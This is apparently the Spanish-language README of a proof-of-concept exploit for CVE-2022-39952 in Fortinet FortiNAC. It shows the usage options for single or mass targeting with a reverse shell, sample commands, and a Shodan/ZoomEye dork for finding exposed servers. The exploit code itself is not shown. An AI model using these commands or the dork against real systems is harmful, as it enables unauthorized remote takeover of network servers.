
Exploit de prueba de concepto para CVE-2022-39952 dirigido a Fortinet FortiNAC, que permite ejecución remota de comandos y shell inversa en servidores vulnerables.
Este exploit permite a un atacante ejecutar comandos arbitrarios en el servidor FortiNAC. Está basado en el PoC desarrollado por horizon3ai, con opciones adicionales para atacar múltiples hosts.
Aviso: Este exploit es solo para fines educativos. Por favor, úsalo de manera responsable y con permiso.
usage: exploit.py [-h] [-t TARGET] [-l LIST] [-lh LHOST] [-lp LPORT]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
The IP address of the target
-l LIST, --list LIST List of targets
-lh LHOST, --lhost LHOST
The local host for the reverse shell
-lp LPORT, --lport LPORT
The local port for the reverse shell
Para usar este exploit, debes tener Python 3.x instalado en tu sistema.
Python 3.x
módulo requests
módulo concurrent.futures
$ python exploit.py -t 192.168.1.100 -lh 192.168.1.10 -lp 4444
$ python exploit.py -t 192.168.1.100
$ python exploit.py -l targets.txt
Este exploit solo ha sido probado en un número limitado de objetivos, por lo que su efectividad puede variar. El dork para encontrar objetivos potenciales en ZoomEye y Shodan es:
title:"FortiNAC" +"JSESSIONID"